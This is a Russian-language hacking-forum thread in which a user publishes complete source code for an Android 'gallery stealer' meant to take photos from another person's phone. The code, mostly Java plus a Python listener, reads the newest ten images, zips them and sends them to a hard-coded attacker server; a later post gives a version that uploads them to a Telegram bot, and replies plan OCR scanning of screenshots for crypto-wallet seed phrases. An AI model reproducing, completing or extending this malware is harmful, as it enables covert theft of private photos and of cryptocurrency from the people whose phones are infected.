What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Android Gallery Stealer - Source Code - Статья

NMZ

Light Weight
Депозит
$0
Android Gallery Stealer - Source Code

Решил написать небольшую статью для тех, кто по каким-то неведомым мне причинам хочет получить фотографии из галереи другого человека.

Статья не самая большая, но думаю, будет интересна.

Как обычно, код клиента я буду писать на Java(A).
Спойлер
Возможно, у некоторых возникнет вопрос, что означает "A" после Java.
Это неофициальное обозначение изменённой Java, используемой на Android

Код сервера в этот раз будет не на C# + WPF, а на Python, так как мне было лень использовать что-то более сложное. :)

Общение между клиентом и сервером осуществляется по TCP, при этом IP и порт сервера зашиты в коде клиента.


Начнем с кода клиента.
В первую очередь как обычно у нас AndroidManifest.xml:
Код: Скопировать в буфер обмена
Code:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
Хочу добавить что пример с таким подходом работает на самых новых версиях Android
как 13/14 и если вы хотите использовать код на более старых версиях 12,11,10... То вам
нужно будет изменить логику в целом и использовать доступ к файлам -

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

Целый код будет выглядеть так:

XML: Скопировать в буфер обмена
Code:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 xmlns:tools="http://schemas.android.com/tools">
 <uses-permission android:name="android.permission.INTERNET"/>
 <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
 
 <application
  android:allowBackup="true"
  android:dataExtractionRules="@xml/data_extraction_rules"
  android:fullBackupContent="@xml/backup_rules"
  android:icon="@mipmap/ic_launcher"
  android:label="@string/app_name"
  android:roundIcon="@mipmap/ic_launcher_round"
  android:supportsRtl="true"
  android:theme="@style/Theme.GallGrabNMZ"
  tools:targetApi="31">
  <activity
   android:name=".MainActivity"
   android:exported="true">
   <intent-filter>
    <action android:name="android.intent.action.MAIN" />

    <category android:name="android.intent.category.LAUNCHER" />
   </intent-filter>
  </activity>
 </application>
</manifest>

Затем у нас код MainActivity.java с основной логикой:
Java: Скопировать в буфер обмена
Code:
private static final int REQUEST_PERMISSIONS = 100;
private static final String SERVER_IP = "0.0.0.0"; //Ip сервера
private static final int SERVER_PORT = 7777; //порт

Тут ваш ip:p сервера на который будут отправлены данные.


Java: Скопировать в буфер обмена
Code:
 if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
    != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this,
     new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
  } else {
   new ZipAndSendTask().execute();
  }
 }
 @Override
 public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  super.onRequestPermissionsResult(requestCode, permissions, grantResults);
  if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
    && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

   new ZipAndSendTask().execute();
  } else {

   Log.e("MainActivity", "Разрешение не предоставлено");
  }
 }



Проверка предоставленных разрешений.
Далее в коде будет представлена сама логика работы, но перед этим я хочу объяснить, как всё устроено.

Сначала код запрашивает разрешение на доступ к медиаконтенту. После этого он получает 10 последних изображений из галереи
и упаковывает их в файл .zip для удобной отправки. Затем код отправляет этот файл на сервер через TCP-соединение.

разрешения -> получение данных -> упаковка -> отправка -> получение сервером


Продолжим кодом который получает изображения:


Java: Скопировать в буфер обмена
Code:
private ArrayList<String> getLastImages(int count) {
   ArrayList<String> imagePaths = new ArrayList<>();
   String[] projection = {MediaStore.Images.Media.DATA};
   Cursor cursor = getContentResolver().query(
     MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
     projection, null, null,
     MediaStore.Images.Media.DATE_ADDED + " DESC");

   if (cursor != null) {
    int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
    while (cursor.moveToNext() && imagePaths.size() < count) {
     imagePaths.add(cursor.getString(dataIndex));
    }
    cursor.close();
   }
   return imagePaths;
  }

Теперь код который упакует данные в .zip архив:

Java: Скопировать в буфер обмена
Code:
private File zipImages(ArrayList<String> imagePaths) {
   try {
    File zipFile = new File(getCacheDir(), "images.zip");
    ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));

    for (String imagePath : imagePaths) {
     File imageFile = new File(imagePath);
     FileInputStream fis = new FileInputStream(imageFile);
     ZipEntry zipEntry = new ZipEntry(imageFile.getName());
     zos.putNextEntry(zipEntry);

     byte[] buffer = new byte[1024];
     int length;
     while ((length = fis.read(buffer)) > 0) {
      zos.write(buffer, 0, length);
     }
     zos.closeEntry();
     fis.close();
    }
    zos.close();
    return zipFile;
   } catch (Exception e) {
    e.printStackTrace();
    return null;
   }
  }


Код для отправки .zip на сервер:

Java: Скопировать в буфер обмена
Code:
 private void sendZipToServer(File zipFile) {
   try {
    Socket socket = new Socket(SERVER_IP, SERVER_PORT);
    OutputStream os = new BufferedOutputStream(socket.getOutputStream());
    FileInputStream fis = new FileInputStream(zipFile);

    byte[] buffer = new byte[1024];
    int length;
    while ((length = fis.read(buffer)) > 0) {
     os.write(buffer, 0, length);
    }

    os.flush();
    os.close();
    fis.close();
    socket.close();
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
 }

И напоследок представлю код, который в самом начале вызывается и выполняет описанные выше функции.
Этот код получает 10 последних изображений из списка:


Java: Скопировать в буфер обмена
Code:
 private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
  @Override
  protected Void doInBackground(Void... voids) {
   try {
    ArrayList<String> imagePaths = getLastImages(10); //колво изображений
    if (!imagePaths.isEmpty()) {
     // Упаковываем
     File zipFile = zipImages(imagePaths);
     if (zipFile != null) {
      // Отправляем
      sendZipToServer(zipFile);
     }
    }
   } catch (Exception e) {
    e.printStackTrace();
   }
   return null;
  }


На этом код клиента закончен.
Полный код MainActivity.java:


Java: Скопировать в буфер обмена
Code:
package .nmz.gallgrab_nmz;

import android.Manifest;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.MediaStore;
import android.util.Log;

import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.ArrayList;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class MainActivity extends AppCompatActivity {

 private static final int REQUEST_PERMISSIONS = 100;
 private static final String SERVER_IP = "";
 private static final int SERVER_PORT = ;

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  // Проверка разрешений
  if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
    != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this,
     new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
  } else {
   new ZipAndSendTask().execute();
  }
 }
 @Override
 public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  super.onRequestPermissionsResult(requestCode, permissions, grantResults);
  if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
    && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

   new ZipAndSendTask().execute();
  } else {

   Log.e("MainActivity", "Разрешение не предоставлено");
  }
 }

 private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
  @Override
  protected Void doInBackground(Void... voids) {
   try {
    ArrayList<String> imagePaths = getLastImages(10); //колво изображений
    if (!imagePaths.isEmpty()) {
     // Упаковываем
     File zipFile = zipImages(imagePaths);
     if (zipFile != null) {
      // Отправляем
      sendZipToServer(zipFile);
     }
    }
   } catch (Exception e) {
    e.printStackTrace();
   }
   return null;
  }


  private ArrayList<String> getLastImages(int count) {
   ArrayList<String> imagePaths = new ArrayList<>();
   String[] projection = {MediaStore.Images.Media.DATA};
   Cursor cursor = getContentResolver().query(
     MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
     projection, null, null,
     MediaStore.Images.Media.DATE_ADDED + " DESC");

   if (cursor != null) {
    int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
    while (cursor.moveToNext() && imagePaths.size() < count) {
     imagePaths.add(cursor.getString(dataIndex));
    }
    cursor.close();
   }
   return imagePaths;
  }

  // Упаковка
  private File zipImages(ArrayList<String> imagePaths) {
   try {
    File zipFile = new File(getCacheDir(), "images.zip");
    ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile));

    for (String imagePath : imagePaths) {
     File imageFile = new File(imagePath);
     FileInputStream fis = new FileInputStream(imageFile);
     ZipEntry zipEntry = new ZipEntry(imageFile.getName());
     zos.putNextEntry(zipEntry);

     byte[] buffer = new byte[1024];
     int length;
     while ((length = fis.read(buffer)) > 0) {
      zos.write(buffer, 0, length);
     }
     zos.closeEntry();
     fis.close();
    }
    zos.close();
    return zipFile;
   } catch (Exception e) {
    e.printStackTrace();
    return null;
   }
  }

  // Отправка
  private void sendZipToServer(File zipFile) {
   try {
    Socket socket = new Socket(SERVER_IP, SERVER_PORT);
    OutputStream os = new BufferedOutputStream(socket.getOutputStream());
    FileInputStream fis = new FileInputStream(zipFile);

    byte[] buffer = new byte[1024];
    int length;
    while ((length = fis.read(buffer)) > 0) {
     os.write(buffer, 0, length);
    }

    os.flush();
    os.close();
    fis.close();
    socket.close();
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
 }
}

Теперь перейдем к простому коду сервера на Python:
Python: Скопировать в буфер обмена
Code:
import socket

def start_server():
 server_ip = "0.0.0.0"
 server_port = 4444
 buffer_size = 1024
 output_file = "received_images.zip"

 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
  server_socket.bind((server_ip, server_port))
  server_socket.listen(1)
  print(f"Сервер запущен{server_ip}:{server_port}")

  conn, addr = server_socket.accept()
  with conn:
   print(f"Подключено {addr}")
   with open(output_file, "wb") as file:
    while True:
     data = conn.recv(buffer_size)
     if not data:
      break
     file.write(data)

   print(f"Файл сохранен{output_file}")

if __name__ == "__main__":
 start_server()



Сервер крайне простой без никаких фильтров и тд.
сохраняет лог в файл received_images.zip в директории с самим собой.

Благодарю за внимание!

Если у вас есть какие-либо вопросы или дополнения к статье, буду рад обсудить их или помочь с пояснениями.
 
Есть идейка написать билдер для этого дела и панельку на c#+wpf
 
NMZ сказал(а):
Есть идейка написать билдер для этого дела и панельку на c#+wpf
Нажмите, чтобы раскрыть...
Знаешь что сделай будет прикольно
1. Напиши полноценный ocr сканер который будет сканировать с изображение текст или используй библиотеку
2. Алгоритм который будет сканировать скриншоты будет проверять На наличие 12/24/56 слов востановления коша
3. Отправка в zipe скриншота и в тексте 12 слов
 
msfconsolee сказал(а):
Good work
I suggest add Tg bot to Recieve data
Нажмите, чтобы раскрыть...
Изменил код MainActivity.java и теперь лог приходит не на Python сервер а в Telegram
Все что вам нужно указать в коде это ваш bot token и ваш telegram id.

новый код:

Java: Скопировать в буфер обмена
Code:
package .nmz.gallgrab_nmz;

import android.Manifest;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.MediaStore;
import android.util.Log;

import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;

import okhttp3.*;

public class MainActivity extends AppCompatActivity {

 private static final int REQUEST_PERMISSIONS = 100;
 private static final String BOT_TOKEN = "";
 private static final String CHAT_ID = "";

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  // Проверка разрешений
  if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES)
    != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this,
     new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSIONS);
  } else {
   new ZipAndSendTask().execute();
  }
 }

 @Override
 public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  super.onRequestPermissionsResult(requestCode, permissions, grantResults);
  if (requestCode == REQUEST_PERMISSIONS && grantResults.length > 0
    && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

   new ZipAndSendTask().execute();
  } else {
   Log.e("MainActivity", "Разрешение не предоставлено");
  }
 }

 private class ZipAndSendTask extends AsyncTask<Void, Void, Void> {
  @Override
  protected Void doInBackground(Void... voids) {
   try {
    ArrayList<String> imagePaths = getLastImages(10); // колво изображений
    if (!imagePaths.isEmpty()) {
     // Отправляем изображения
     for (String imagePath : imagePaths) {
      File imageFile = new File(imagePath);
      sendImageToTelegram(imageFile);
     }
    }
   } catch (Exception e) {
    e.printStackTrace();
   }
   return null;
  }

  private ArrayList<String> getLastImages(int count) {
   ArrayList<String> imagePaths = new ArrayList<>();
   String[] projection = {MediaStore.Images.Media.DATA};
   Cursor cursor = getContentResolver().query(
     MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
     projection, null, null,
     MediaStore.Images.Media.DATE_ADDED + " DESC");

   if (cursor != null) {
    int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
    while (cursor.moveToNext() && imagePaths.size() < count) {
     imagePaths.add(cursor.getString(dataIndex));
    }
    cursor.close();
   }
   return imagePaths;
  }

  // Отправка в Telegram
  private void sendImageToTelegram(File imageFile) {
   OkHttpClient client = new OkHttpClient();
   String url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendDocument";

   RequestBody requestBody = new MultipartBody.Builder()
     .setType(MultipartBody.FORM)
     .addFormDataPart("chat_id", CHAT_ID)
     .addFormDataPart("document", imageFile.getName(),
       RequestBody.create(imageFile, MediaType.parse("application/octet-stream")))
     .build();

   Request request = new Request.Builder()
     .url(url)
     .post(requestBody)
     .build();

   try (Response response = client.newCall(request).execute()) {
    if (!response.isSuccessful()) {
     throw new IOException("Unexpected code " + response);
    }
    Log.d("MainActivity", "Изображение отправлено успешно");
   } catch (IOException e) {
    e.printStackTrace();
   }
  }
 }
}
 
Adderall сказал(а):
Знаешь что сделай будет прикольно
1. Напиши полноценный ocr сканер который будет сканировать с изображение текст или используй библиотеку
2. Алгоритм который будет сканировать скриншоты будет проверять На наличие 12/24/56 слов востановления коша
3. Отправка в zipe скриншота и в тексте 12 слов
Нажмите, чтобы раскрыть...
интересная идейка на самом деле
 
Adderall сказал(а):
Знаешь что сделай будет прикольно
1. Напиши полноценный ocr сканер который будет сканировать с изображение текст или используй библиотеку
2. Алгоритм который будет сканировать скриншоты будет проверять На наличие 12/24/56 слов востановления коша
3. Отправка в zipe скриншота и в тексте 12 слов
Нажмите, чтобы раскрыть...

Идейка мне понравилась =)
Будет поиск по ключевым словам и по самим seed фразам.
 
Хм....плюсанул за старания и за безводность материала в отличии как у некоторых тут 2 строки Hello world на 2000 символов с пояснениями растянуто. Идея передачи файлов через сокеты конечно не нова. Таким образом я раньше бэкапил некоторые файлы кое-откуда кое-куда в Delphi если кто-то помнит такие компоненты как (tclientsocket, tserversocket). Но всё новое, хорошо забытое старое.
 
Если ещё есть предложения для статьи то можете писать:)
 
Кину сурсы файлом на днях чтобы не нужно было переписывать в ручную.
 
Top